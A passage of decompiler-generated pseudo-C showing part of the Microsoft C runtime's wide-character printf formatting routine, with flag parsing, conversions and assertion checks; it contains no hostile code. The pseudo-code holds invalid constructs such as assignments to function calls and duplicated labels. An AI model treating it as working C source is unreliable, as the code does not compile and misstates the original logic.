																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43caf0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAB4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AEF0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xd5b65caa
																				E00424760(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xd44284aa
																						E00424760(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AEF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xd44114aa
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428400(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEF0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AEF0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428400(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00428400(__ebp + 0x14);
																		__eax = E00433FB0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E420();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																			__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AEC0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428400(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AEF0(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E004312C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E420();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422F10(_t510))) = 0x16;
															E00422CA0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041AEC0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BD60(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E420();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041AEC0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00422F10(_t502))) = 0x16;
														E00422CA0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041AEC0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
